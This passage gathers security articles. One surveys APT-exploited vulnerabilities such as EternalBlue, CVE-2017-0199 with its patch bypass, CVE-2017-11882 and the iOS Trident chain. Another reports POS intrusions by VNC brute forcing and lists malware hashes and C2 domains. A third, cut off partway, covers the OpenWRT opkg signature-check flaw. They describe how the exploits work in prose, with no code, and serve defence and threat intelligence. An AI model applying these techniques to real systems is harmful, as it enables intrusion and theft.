Brokers公布了之前泄露文档中出现的Windows相关部分的文件，该泄露资料中包含了一套针对Windows系统相关的远程代码利用框架（涉及的网络服务范围包括SMB、RDP、IIS及各种第三方的邮件服务器），其中一系列的SMB远程漏洞0day工具（EternalBlue，Eternalromance，Eternalchampoin，Eternalsynergy）之后被集成到多个蠕虫家族中，同年5月12日爆发的WanaCry当时就集成了EternalBlue。
##### 1\. 漏洞概述
EternalBlue工具使用了SMB协议中的三处漏洞，其中主体的越界内存写漏洞隶属于微软MS17-010补丁包中的CVE-2017-0144，通过该集成的工具，攻击者可以直接远程获取漏洞机器的控制权限。
##### 2\. 漏洞详情
EternalBlue中的核心了漏洞为CVE-2017-0144，该漏洞通过SMB协议的SMB_COM_TRANSACTION2命令触发，当其中的FEA
LIST字段长度大于10000时将导致内存越界写，由于SMB_COM_TRANSACTION2命令本身FEA
LIST的长度最大为FFFF，因此这里就涉及到第二处漏洞，即SMB_COM_TRANSACTION2可被混淆为SMB_COM_NT_TRANSACT，从而实现发送一个FEA
LIST字段长度大于10000的SMB_COM_TRANSACTION2命令，实现越界写，最后通过第三个漏洞进行内存布局，最终实现代码执行。
##### 3\. 相关CVE
Shadow Brokers泄露的SMB攻击工具，通过MS17-010补丁进行修补，其中涵盖CVE-2017-0143，CVE-2017-0144，
CVE-2017-0145， CVE-2017-0146，CVE-2017-0148五个漏洞，包含几处SMB协议中的缺陷，通过相互组合从而形成了Shadow
Brokers泄露工具中针对SMB协议的永恒系列武器。
##### 4\. 相关组织
该泄露的工具本身出自NSA旗下的黑客组织Equation Group，相关工具泄露后为大量的勒索，蠕虫所使用。
##### 5\. 相关事件
2017年5月12日全球爆发大范围的Wanacry勒索蠕虫事件，之后被证明和Lazarus有关。
##### 6\. 补丁解决方案
及时更新操作系统补丁。
软件厂商微软已经发布了漏洞相应的补丁：
<https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010>
#### 三、Office OLE2Link逻辑漏洞
Office
OLE2Link是微软办公软件（Office）中的一个重要特性，它允许Office文档通过对象链接技术在文档中插入远程对象，在文档打开时自动加载处理。由于设计不当，在这个处理过程中出现了严重的逻辑漏洞，而我们选择CVE-2017-0199为这类漏洞的典型代表。
##### 1\. 漏洞概述
2017年4月7日McAfee与FireEye的研究员爆出微软Office
Word的一个0-day漏洞的相关细节（CVE-2017-0199）。攻击者可以向受害人发送一个带有OLE2link对象附件的恶意文档，诱骗用户打开。当用户打开恶意文档时，Office
OLE2Link机制在处理目标对象上没有考虑相应的安全风险，从而下载并执行恶意HTML应用文件（HTA）。
##### 2\. 漏洞详情
CVE-2017-0199利用了Office OLE2Link对象链接技术，将恶意链接对象嵌入在文档中，之后调用URL
Moniker将恶意链接中的HTA文件下载到本地，URLMoniker通过识别响应头中content-type的字段，最终调用mshta.exe执行HTA文件中的攻击代码。
在影响面方面，CVE-2017-0199几乎影响了所有版本的Office软件，是历来Office漏洞中影响面最广的漏洞之一，并且易于构造，触发稳定，这使得其在2017年的BlackHat黑帽大会上被评为最佳客户端安全漏洞。
##### 3\. 相关CVE
对于CVE-2017-0199，微软采取了一种叫做“COM Activation Filter”
的机制，修补程序直接封锁了两个危险的CLSID，{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}（“htafile”
对象）和{06290BD3-48AA-11D2-8432-006008C3FBFC}（“script”
对象）。而CVE-2017-8570则利用了一个其他的对象：“ScriptletFile”，CLSID
是“{06290BD2-48AA-11D2-8432-006008C3FBFC}”，从而绕过了CVE-2017-0199 的补丁。
##### 4\. 相关APT组织
Office OLE2Link逻辑漏洞原理简单，易于构造，触发稳定，深受APT组织的青睐，已经被大部分APT组织纳入攻击武器库。
##### 5\. 相关APT事件
2017年6月，乌克兰等国遭受大规模Petya变种勒索病毒攻击，攻击者使用Microsoft
Office远程执行代码漏洞（CVE-2017-0199）通过电子邮件进行投递，感染成功后利用永恒之蓝漏洞进行传播。
2018年3月360威胁情报中心发布报告《摩诃草APT组织针对我国敏感机构最新的网络攻击活动分析》称摩诃草组织（APT-C-09）针对我国敏感机构使用了带有CVE-2017-8570漏洞的鱼叉邮件进行定向攻击：
##### 6\. 补丁及解决方案
尽量不要打开来源不明的文档，也可以使用360安全卫士之类的防病毒软件对文档进行扫描后再打开以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>
#### 四、Office公式编辑器漏洞
EQNEDT32.EXE（Microsoft公式编辑器），该组件首发于Microsoft Office 2000和Microsoft
2003，以用于向文档插入和编辑方程式，虽然从Office
2007之后，方程式相关的编辑发生了变化，但为了保持版本的兼容性，EQNEDT32.EXE本身也没有从Office套件中删除。而该套件自17年前编译之后就从未被修改，这就意味着其没有任何安全机制（ASLR，DEP，GS
cookies…）。并且由于EQNEDT32.EXE进程使用DCOM方式启动而独立于Office进程，从而不受Office高版本的沙盒保护，所以该类漏洞具有天生“绕过”沙盒保护的属性，危害巨大。此处我们选择该组件下发现的第一个漏洞CVE-2017-11882作为该类漏洞的典型。
##### 1\. 漏洞概述
2017年11月14日，Embedi发布博文Skeleton in the closet. MS Office vulnerability you
didn’t know
about，该文章就EQNEDT32.EXE中出现的CVE-2017-11882漏洞的发现和利用进行了分析，CVE-2017-11882为公式Font
Name字段解析时的缓冲区溢出漏洞，通过构造带有非法公式的Doc/RTF文档，可导致代码执行。
##### 2\. 漏洞详情
CVE-2017-11882为一处栈溢出漏洞，如下所示红框中的Font
Name字段最终会导致栈溢出，返回地址被覆盖为00430c12，该地址指向WinExe函数，父函数第一个参数正好指向构造字符，从而导致WinExe执行构造字符中的命令。
##### 3\. 相关CVE
自2017年11月14日后，CVE-2018-0802/CVE-2018-0798两个EQNEDT32.EXE相关的漏洞相继被发现。
##### 4\. 相关APT组织
##### 5\. 相关APT事件
APT34通过CVE-2017-11882投递鱼叉邮件攻击中东多国金融政府机构。
##### 6\. 补丁及解决方案
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0798>
#### 五、OOXML类型混淆漏洞
OOXML是微软公司为Office
2007产品开发的技术规范，现已成为国际文档格式标准，兼容前国际标准开放文档格式和中国文档标准“标文通”，Office富文本中本身包含了大量的XML文件，由于设计不当，在对其中的XML文件进行处理的时候，出现了严重的混淆漏洞，最典型的包括CVE-2015-1641，CVE-2017-11826，这里我们选择近年来最流行的OOXML类型混淆漏洞CVE-2015-1641作为典型代表。
##### 1\. 漏洞概述
2015年4月，微软修补了一个CVE编号为CVE-2015-1641的Office Word类型混淆漏洞。Office
Word在解析Docx文档displacedByCustomXML属性时未对customXML对象进行验证，造成类型混淆，导致任意内存写，最终经过精心构造的标签以及对应的属性值可以造成远程任意代码执行。这是第一个利用成功率非常高且被APT组织频繁使用的OOXML类型混淆漏洞。
##### 2\. 漏洞详情
CVE-2015-1641中，由于Office
Word没有对传入的customXML对象进行严格的校验，导致可以传入比如smartTag之类的对象，然而smartTag对象的处理流程和customXML并不相同，如果customXML标签被smartTag标签通过某种方法混淆解析，那么smartTag标签中的element属性值会被当作是一个地址，随后经过简单的计算得到另一个地址。最后处理流程会将moveFromRangeEnd的id值覆盖到之前计算出来的地址中，导致任意内存写入。然后通过写入可控的函数指针，以及通过Heap
Spray精心构造内存布局，最终导致代码执行：
##### 3\. 相关CVE
2017年9月28日，360追日团队捕获了一个利用Office
0day漏洞（CVE-2017-11826）的在野攻击，该漏洞几乎影响微软目前所支持的所有Office版本，在野攻击只针对特定的Office版本。攻击者以在RTF文档中嵌入了恶意Docx内容的形式进行攻击。
##### 4\. 相关APT组织
CVE-2015-1641相关的利用技术早已公开，且该漏洞利用的成功率非常高，所以该漏洞在Office
OLE2Link逻辑漏洞还未曾风靡之前是各大APT组织最常用的Office漏洞之一。
##### 5\. 相关APT事件
摩诃草APT组织自2016年以来针对我国的多起攻击事件大量使用了包含CVE-2015-1641的漏洞文档。
##### 6\. 补丁及解决方案
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>
#### 六、EPS（Encapsulated Post Script）脚本解析漏洞
EPS全称Encapsulated Post
Script，属于PostScript的延伸类型，适用于在多平台及高分别率输出设备上进行色彩精确的位图及向量输出，因此在Office中也引进了相应的支持，但是自2015年起多个Office中EPS相关的漏洞被利用，其中包括CVE-2015-2545，CVE-2017-0261，CVE-2017-0262，最终导致微软不得不禁用Office中的EPS组件，而此处我们选择以CVE-2017-0262作为典型代表。
##### 1\. 漏洞概述
2017年5月7日FireEye研究员在文章EPS Processing Zero-Days Exploited by Multiple Threat
Actors中披露了多个EPS
0-day漏洞的在野利用，其中就包含CVE-2017-0262，CVE-2017-0262为ESP中forall指令中的一处漏洞，由于forall指令对参数校验不当，导致代码执行。
##### 2\. 漏洞详情
CVE-2017-0262的利用样本中首先对实际的EXP进行了四字节的xor编码，key为c45d6491：
漏洞的关键点在于以下一行的代码，在EPS中forall指令会对第一个参数中的每一个对象执行处理函数proc（即第二个参数），此处由于对第二个参数的类型判断不严格，导致0xD80D020这个攻击者之前通过堆喷控制的内存地址被作为处理函数的地址，从而esp堆栈被控制，致使最后的代码执行：
##### 3\. 相关CVE
##### 4\. 相关APT组织
由于EPS漏洞本身利用难度较大，且EPS自Office
2010之后就处于沙箱中隔离执行，因此往往还需要提权漏洞辅助，因此该系列漏洞的使用者往往是知名的大型APT组织。
##### 5\. 相关APT事件
APT28组织通过发送鱼叉邮件（CVE-2017-0262/
CVE-2017-0263）攻击影响法国大选，邮件为附件为一个名为Trump’s_Attack_on_Syria_English.docx的Office文件，导致当时马克龙竞选团队多达9G的数据被上传到外网。
##### 6\. 补丁及解决方案
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2015-2545>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0261>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0262>
#### 七、Windows提权漏洞
近年来针对Windows客户端的漏洞攻击越来越多，这直接导致各大厂商对其客户端软件引入了“沙盒”保护技术，其核心思想即是将应用程序运行在隔离环境中，隔离环境通常是一个低权限的环境，也可以把沙盒看做是一个虚拟的容器，让不是很安全的程序在运行的过程中，即便客户端软件遭受恶意代码的入侵也不会对使用者的计算机系统造成实际威胁。
引入了“沙盒”保护的常客户端程序有：IE/Edge浏览器、Chrome浏览器、Adobe
Reader、微软Office办公软件等等。而客户端程序漏洞如果配合Windows提权漏洞则可以穿透应用程序“沙盒”保护。
##### 1\. 漏洞概述
在对Office办公软件的EPS（Encapsulated Post Script）组件进行漏洞攻击的过程中，由于Office
2010及其高版本上的EPS脚本过滤器进程fltldr.exe被保护在低权限沙盒内，要攻破其中的低权限沙盒保护措施，攻击者就必须要使用远程代码执行漏洞配合内核提权漏洞进行组合攻击。所以我们选择Win32k.sys中的本地权限提升漏洞（CVE-2017-0263）这一个配合EPS类型混淆漏洞（CVE-2017-0262）进行组合攻击的提权漏洞作为典型代表。
##### 2\. 漏洞详情
CVE-2017-0263漏洞利用代码首先会创建三个PopupMenus，并添加相应的菜单。由于该UAF漏洞出现在内核的WM_NCDESTROY事件中，并会覆盖wnd2的tagWnd结构，这样可以设置bServerSideWindowProc标志。一旦设置了bServerSideWindowProc，用户模式的WndProc过程就会被视为内核回调函数，所以会从内核上下文中进行调用。而此时的WndProc则被攻击者替换成了内核ShellCode，最终完成提权攻击。
##### 3\. 相关CVE
##### 4\. 相关APT组织
##### 5\. 相关APT事件
针对日本和台湾的APT攻击以及APT28针对法国大选等攻击事件。
##### 6\. 补丁及解决方案
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2015-2546>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7255>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0001>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0263>
#### 八、Flash漏洞
Flash
player因为其跨平台的普及性，一直为各个APT组织关注，从2014年起，Flash漏洞开始爆发，尤其到2015年，HackingTeam泄露数据中两枚0-day漏洞CVE-2015-5122/CVE-2015-5199，Flash漏洞相关的利用技术公开，Flash漏洞开始成为APT组织的新宠，尽管之后Adobe和Google合作，多个Flash安全机制陆续出炉（如隔离堆，vector
length检测），大大提高了Flash漏洞利用的门槛，但也不乏出现CVE-2015-7645这一类混淆漏洞的怪咖。这里我们选择不久前发现的在野0-day
CVE-2018-4878作为这类漏洞的典型代表。
##### 1\. 漏洞概述
2018年1月31日，韩国CERT发布公告称发现Flash
0day漏洞（CVE-2018-4878）的野外利用，攻击者通过发送包含嵌入恶意Flash对象的Office Word附件对指定目标进行攻击。
##### 2\. 漏洞详情
CVE-2018-4878通过Flash
om.adobe.tvsdk包中的DRMManager对象进行攻击，如下代码所示，triggeruaf函数中创建一个MyListener对象实例，通过initialize进行初始化，并将该实例设置为null，之后的第一个LocalConnection().connect()会导致gc回收该实例内存，第二次LocalConnection().connect()时触发异常，在异常处理中会创建一个新的MyListener实例，内存管理器会将之前MyListener对象实例的内存分配给新对象，即此处的danglingpointer，设置timer，在其回调函数中检测uaf是否触发，成功则通过Mem_Arr进行站位：
##### 3\. 相关CVE
##### 4\. 相关APT组织
##### 5\. 相关APT事件
Group123利用CVE-2018-4878攻击韩国敏感部门。
##### 6\. 补丁及解决方案
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商adobe已经发布了漏洞相应的补丁：
<https://helpx.adobe.com/security/products/flash-player/apsb18-03.html>
<https://helpx.adobe.com/security/products/flash-player/apsb17-32.html>
#### 九、iOS三叉戟漏洞
iOS三叉戟漏洞是目前唯一一个公开披露的针对iOS系统浏览器的远程攻击实例，并真实用于针对特点目标的APT攻击中。
#### 1\. 漏洞概述
iOS三叉戟漏洞是指针对iOS 9.3.5版本之前的iOS系统的一系列0 day漏洞，其利用了3个0
day漏洞，包括一个WebKit漏洞，一个内核地址泄露漏洞和一个提权漏洞。通过组合利用三个0
day漏洞可以实现远程对iOS设备的越狱，并且安装运行任意恶意代码。
#### 2\. 漏洞详情
iOS三叉戟漏洞利用载荷可以通过访问特定的URL触发，所以可以通过短信、邮件、社交网络或者即时通讯等发送恶意链接诱导目标人员点击打开链接实现漏洞的触发。由于WebKit
JavaScriptCore库存在任意代码执行漏洞，当Safari浏览器访问恶意链接并触发恶意的JavaScript载荷执行，其利用代码进入Safari
WebContent进程空间。其随后利用另外两个漏洞实现权限提升，并越狱掉iOS设备。最后三叉戟漏洞可以实现下载和运行用于持久性控制的恶意模块。
图片来源[3]
##### 3\. 相关CVE
iOS三叉戟漏洞涉及3个0 day漏洞，其CVE编号及相关信息如下表所示：
##### 4\. 相关APT组织和事件
三叉戟漏洞的最初发现是因为阿联酋一名重要的人权捍卫者Ahmed
Mansoor在2016年8月10日和11日，其iPhone手机收到两条短信，内容为点击链接可以查看关于关押在阿联酋监狱犯人遭受酷刑的秘密内容。其随后将短信内容转发给公民实验室(Citizen
Lab)，由公民实验室和Lookout安全公司联合分析发现，最后发现该三叉戟漏洞和相关恶意载荷与著名的以色列间谍软件监控公司NSO Group有关。
图片来源[1]
##### 5\. 补丁及解决方案
苹果公司随后在2016年8月25日发布iOS 9.3.5，修补了三叉戟漏洞[2]。
#### 十、Android浏览器remote2local漏洞利用
该Android浏览器漏洞利用代码的泄露揭示了网络军火商和政府及执法机构利用远程攻击漏洞针对Android用户的攻击和监控，并且该漏洞利用过程实现几乎完美，也体现了漏洞利用技术的艺术特点。
该漏洞利用代码几乎可以影响当时绝大多数主流的Android设备和系统版本。
##### 1\. 漏洞概述
Android浏览器remote2local漏洞利用是2015年7月Hacking
Team遭受入侵并泄露内部源代码资料事件后，其泄露源代码中包含了针对Android
4.0.x-4.3.x系统版本的浏览器的攻击利用代码，其可以达到远程代码执行，并执行提权代码提升至root权限，最后达到静默安装恶意程序的目的。
该漏洞利用的组合了Google Chrome的三个N-day漏洞和针对Android系统的提权漏洞完成完整的利用攻击过程。
##### 2\. 漏洞详情
该Android浏览器漏洞利用主要因为WebKit中关于XML语言解析和XSLT转换的libxslt库，其利用过程实际上是基于多个漏洞的组合利用过程。其首先利用一个信息泄露漏洞获取内存地址相关信息，并利用内存任意读写构造ROP攻击最终实现执行任意代码的目的。其最后执行提权代码，该漏洞利用中使用的提权漏洞为CVE-2014-3153，其产生于内核的Futex系统调用。当提权获得root权限以后，执行静默安装恶意APK应用。
##### 3\. 相关CVE
Hacking Team的针对Android浏览器的remote2local漏洞利用工具结合了3个针对浏览器的漏洞和2个用于提权的漏洞。
##### 4\. 相关APT组织和事件
该漏洞的相关利用情况没有在历史公开的事件报告中披露过，由于专注于向政府部门及执法机构提供电脑入侵与监视服务的意大利公司Hacking
Team在2015年7月遭受入侵，其内部源代码和相关资料邮件内容被泄露，首次披露了其具有针对该漏洞的完整攻击利用代码。
并且在泄露的邮件中频繁出现该公司向客户说明该漏洞的利用方法和过程。
##### 5\. 补丁及解决方案
Google在发布的Android 4.4系统版本修复了上述问题。
#### 总结
##### 方程式一类的顶尖APT组织掌握最先进的漏洞攻击技术
方程式一类顶尖的APT组织掌握了最先进的漏洞攻击技术，这包括了其对几乎所有互联网相关设施、设备、软件、应用漏洞的全覆盖，而其它APT组织依然钟情于使用客户端软件的漏洞进行钓鱼攻击。
##### 针对Office的漏洞攻击依然是大部分APT攻击的焦点
从使用频率上来看，Office漏洞依然是大部分APT组织最常使用的漏洞，且依然是非常有效的APT攻击入口。
##### 移动端APT攻击逐渐成为新的热点
移动设备的普及程度和市场占有率的大幅度提升，所以APT组织也开始将针对其目标对象的攻击范围延伸至移动设备领域。在过去针对移动设备攻击的APT活动中，以针对iOS系统的三叉戟漏洞和针对Android系统的Hacking
Team泄露的浏览器攻击利用尤为出众，并揭示了移动定向攻击中也同样具备过去网络攻击中展现的技术高级性特点，也揭示了网络军火商制作和贩卖针对移动平台的网络武器的事实。
#### 参考
[1] <https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/>
[2] <https://support.apple.com/zh-cn/HT207107>
[3] <https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf>
[4] <https://github.com/f47h3r/hackingteam_exploits/tree/master/vector-exploit/src/ht-webkit-Android4-src>
[5] <http://www.freebuf.com/vuls/78594.html>
[6] <http://www.freebuf.com/vuls/84720.html>
[7] <https://wikileaks.org/hackingteam/emails/emailid/74975>
[8] <https://wikileaks.org/hackingteam/emails/emailid/631119>
[9] <https://security.tencent.com/index.php/blog/msg/87>
[10] <https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/>
[11] <https://wikileaks.org/ciav7p1/cms/page_11629096.html>
[12] <https://wikileaks.org/ciav7p1/cms/page_13205587.html>
[13] <https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/>
[14] <https://www.mdsec.co.uk/2018/02/adobe-flash-exploitation-then-and-now-from-cve-2015-5119-to-cve-2018-4878/>
[15] <https://www.fortinet.com/blog/threat-research/the-curious-case-of-the-document-exploiting-an-unknown-vulnerability-part-1.html>
[16] <https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html>
[17] <https://www.anquanke.com/post/id/94841>
[18] <https://www.anquanke.com/post/id/94210>
[19] <https://www.anquanke.com/post/id/87311>
[20] <https://www.anquanke.com/post/id/87122>
[21] <https://ti.360.net/blog/articles/detailed-analysis-of-eternalblue/>
[22] <https://research.checkpoint.com/eternalblue-everything-know/>
[23] <https://paper.seebug.org/536/>
[24] <https://paper.seebug.org/351/>
[25] <https://github.com/worawit/MS17-010>
[26] <https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about/>
[27] <https://bbs.pediy.com/thread-221995.htm>
[28] <http://www.venustech.com.cn/NewsInfo/4/46670.Html>
[29] <http://www.freebuf.com/vuls/81868.html>
[30] <http://www.freebuf.com/vuls/162629.html>
[31] <http://www.freebuf.com/vuls/112589.html>
[32] <http://rtf2latex2e.sourceforge.net/MTEF3.html>
[33] <http://bobao.360.cn/learning/detail/3738.html>
[34] <http://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/>
* * * | 社区文章 |
# 低成本pos机Hacking
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：[原文:http://thisissecurity.net/2015/11/05/low-cost-point-of-sales-pos-hacking/](原文:http://thisissecurity.net/2015/11/05/low-cost-point-of-sales-pos-hacking/)
译文仅供参考，具体内容表达以及含义原文为准。
**黑掉(POS)系统是一个非常流行的话题。在野外,可以发现很多的POS恶意软件(jackpos,gamapos,backoff,fighterpos……)。每一次POS系统被攻破,媒体都会谈论到复杂的攻击中用到的高级的并且十分杰出的工具。但有时,这些工具可以轻松的黑掉POS机,并且不需要什么特殊的技能就能很容易窃取敏感信息,例如信用卡号码。**
在我们的调查中,我们发现一个关于“低成本POS入侵“非常有趣的案例。本文试图向读者揭秘入侵过程。
一切都始于一个在野外发现的Win32 ardamax样本。ardamax是一个经典的示例,它是一个在互联网上提供的商业软件。
分析这种样本后,发现,该恶意软件利用一个位于德国的FTP服务器上传数据(server4you)。这个FTP很容易被访问(登录名和密码嵌入在样本),并且包含受害者的上传数据。
这个FTP似乎在2014十月九日被使用。服务器全是样本,工具以及接收的数据。
我们不能公开原始样本,因为server4you还没有关闭服务器。
这个库包含了原始的Win32。ardamax样品,恶意软件(darkomet,Andromeda,Gorynych……),还有一些获取信用卡号码的记录和网站爬虫扫描的结果。
在同一个库里,我们找到了截图,话筒录音,摄像头拍摄的照片以及击所记录的每一个受感染的计算机。
骗子已经获得了15个POS电脑的权限以及一些SCADA系统。
比利时的 SCADA系统
Cinema PoS
POS
POS
POS
Brazilian gas pump
我们在收集证书和清理公司电脑上花了很多时间,但每天都会有源源不断的新增的感染的POS的数据上传到FTP资源库。
骗子是如何不断寻找新的感染目标的?
在一些截图上传的数据中,一些截图引起了我们的注意:有人在对大范围的IP地址使用VNC的强力工具。
骗子使用了该工具可以从一个文件上传到VirusTotal网站检索:
https://www.virustotal.com/fr/file/b6c3445386f053c1cca711c8389ac8b12d05aad46bbfec02d721428442cd2ed5/analysis/1442602500/
似乎他们是利用被感染的电脑,通过弱口令蛮力逼迫VNC服务器。当一个新的VNC连接被建立,一个新的有效载荷是通过常规的浏览器下载并安装在新感染的机上。没有exploit或者使用先进的技术。
Gorynych installation
一旦形成有效的下载,任何安装的杀毒软件将配置为忽略它或甚至完全卸载。这就需要计算机的管理权限,但在pos系统中,显然这是一个相当普遍的情况。
现如今,Gorynych
才刚开始传播:https://www.virustotal.com/fr/file/406c30d40f3837615e3b393edc1d6667213c3d287ec006be6198d68124041d43/analysis/
Gorynych
最重要的是,骗子利用已经感染的计算机来管理Gorynych面板:
在几天之后,我们复现了整个偷窃过程。骗子感染POS以及使用的主流的寄存器scrapper,像searchforcc这样的用于窃取信用卡号码的工具。
正如我们所看到的,不需要复杂的攻击或过程来感染系统。只需要多一点的时间,骗子就会更大范围的感染系统。利用一份短列表其中包含152个弱密码,攻击者可以控制很多点的POS系统。在这种情况下,骗子可以访问年销售额500000000美元的中小企业的公司。
这种活动是不会那么容易进行的,在如下这些情况中:
POS的电脑并没有直接连接互联网;
使用安全性强的VNC密码;
管理员帐户不用于连接敏感系统。
这种疏忽可能会浪费很多的金钱,这对于被入侵的公司来说实在不是一个很好的消息。
附录
在FTP站点找到的有效载荷:
1edc2a1c19a6deb330f21eb0f70d6161 a.exe
6b5ea21045e2c689f6f00e6979955e29 al.exe
4645b7883d5c8fee6579cc79dee5f683 ares.exe
9d87838b7de92cfa5675a34f11d3e7e1 b1.exe
af13c28f32b47423bfebb98de3a7d193 b2.exe
bf395a47eac637f0b2b765ba91d914c7 b3.exe
af36ed9267379f86fc12cc0cfc43938e bm.exe
57138e9fd20b9b93129ed599062bd379 cn.exe
f8058abb53ae90512b3da787bb25a21e dx.exe
0762764e298c369a2de8afaec5174ed9 fgdump.exe
9e76d363a7f93a2ef22483ce1866e8ee gt.exe
413ba3a4705504e528ce05c095cbc8a5 loader.exe
abd788f868ff4a96b91846dd46c9e701 mircpsy.exe
255daa6722de6ad03545070dfbef3330 mmon.exe
cc074e5542c0daca3d9b261dc642bfaa n.exe
85e5727d23ab417a1d05ce656de358b6 new(1)text.exe
79c8661bd5e69df5bb94032a356adc33 nyf1.exe
f461873a10a4b49197a822db88b707fa PowerGrep4.exe
467dc270f0d0619dbd1dfcc554da5f8b private.exe
10c7cdc821291921a957b94b101524af prv.exe
619e2172359cfff98f3124bdd4d9eeb5 q.exe
7c44933863109c101a52c04544626b7f r.exe
780fe52363ec0745da43fc6776f0be8c Spark.exe
af5aac5ef503c929db12d8e031788321 spy.exe.exe
2976768953979e045c1b5773de29e230 sweet.exe
5f6158cbfc5b2f80ad2ebcbeebfd1562 t2s.exe
30a9088df5a7586ca418cb1600ac8683 x64.exe
ef295b49ac6d6e6a4a43b5af75584830 zip.exe
相关服务器:
posserverupdate.ddns.net
teamviewer.ddns.net
anjing.no-ip.biz
chiproses.net
maculastudios.com
room402.in
193.84.64.159
212.105.175.93
173.214.168.141 | 社区文章 |
# OPENWRT中的远程命令执行漏洞（CVE-2020-7982）
##### 译文声明
本文是翻译文章，文章原作者 Guido Vranken，文章来源：forallsecure.com
原文地址：<https://blog.forallsecure.com/uncovering-openwrt-remote-code-execution-cve-2020-7982>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
关注[ForALLSecure](https://forallsecure.com/)的人可能知道，我一直在使用Mayhem软件挖掘OpenWRT中的漏洞，挖掘方式一般是：编写自定义框架、在不重新编译的情况下运行该二进制文件以及手工检查源码。
这个漏洞的发现十分偶然，当时我正在为opkg准备一个Mayhem任务。
Mayhem可以处理来自文件或者是socket连接的数据。
opkg从`downloads.openwrt.org`上下载软件包，所以我的计划是让这个域名指向运行有Mayhem服务的`127.0.0.1`地址。
为了测试opkg是否真的会从自定的网络连接上下载软件包，我设置了本地Web服务器并且创建了一个包含任意字节的文件。当我运行opkg安装软件包时，它按照我的预想检索到了该文件，并引发了段错误。
我不明白为什么无效软件包会引发这样的错误，毕竟如果SHA256的哈希值不正确的话，是不会处理该软件包的。
我最初认为，opkg会下载该软件包，解压缩并将其放入一个临时文件夹，之后才会在安装前检查SHA256哈希值，所以我怀疑是不是解压缩程序无法处理异常数据，例如这个来自我的web服务器的含有任意字节的文件。
通过进一步的检查，我发现程序根本没有进行SHA256哈希值检查，而这也是漏洞之所以能够存在的基础。
不过解压缩程序确实存在问题，异常数据会导致各种内存冲突。
确认了opkg会尝试解压缩并安装下载的 _任意_ 软件包后，我就可以通过Mayhem复现这个发现，只需要对opkg进行一些小的修改。
我为`opkg install
attr`设置了一个Mayhem任务（attr是一个小的OpenWRT软件包），通过检测解压缩程序中的内存错误，Mayhem可以发现远程命令执行漏洞。如果OpenWRT中的SHA256验证程序能够按预期工作，opkg就会丢弃异常的软件包，不对其进行处理，那么也就不会发生段错误了。
Mayhem可以在不重新编译和检测的情况下fuzzing二进制文件，我已经按照这样的流程为软件库编写很多自定义框架了（Mayhem支持这样的方式），这让我可以在短短几周内为数十个OpenWRT程序设置目标，从而发现更多漏洞。
在下面各小节中，我会详细介绍自己是如何发现这个漏洞的。
## OpenWRT
[OpenWRT](https://openwrt.org/)是一个基于Linux系统，专门用于嵌入式设备，尤其是路由器的免费操作系统，它已安装在全球数百万台设备上。
## OpenWRT包管理器
可以使用`opkg`程序在OpenWRT系统上安装或更新软件，`opkg`的功能和目的类似于基于Debian的系统上的`apt`程序。
opkg通过未加密的HTTP连接从`downloads.openwrt.org`上获取可安装软件包列表。
软件包列表会进行数字签名，在处理包文件前，程序会验证该文件确实来自OpenWRT，如果验证失败，就丢弃该文件。
一个典型的包条目如下所示：
Package: attr
Version: 2.4.48-2
Depends: libc, libattr
License: GPL-2.0-or-later
Section: utils
Architecture: x86_64
Installed-Size: 11797
Filename: attr_2.4.48-2_x86_64.ipk
Size: 12517
SHA256sum: 10f4e47bf6b74ac1e49edb95036ad7f9de564e6aba54ccee6806ab7ace5e90a6
Description: Extended attributes support
This package provides xattr manipulation utilities
- attr
- getfattr
- setfattr
其中`SHA256sum`字段用于确保下载的软件包未破损或被破坏，程序默认SHA256哈希值是来自OpenWRT的，因为软件包列表中也包含这个哈希值，而软件包列表是通过了签名验证的。
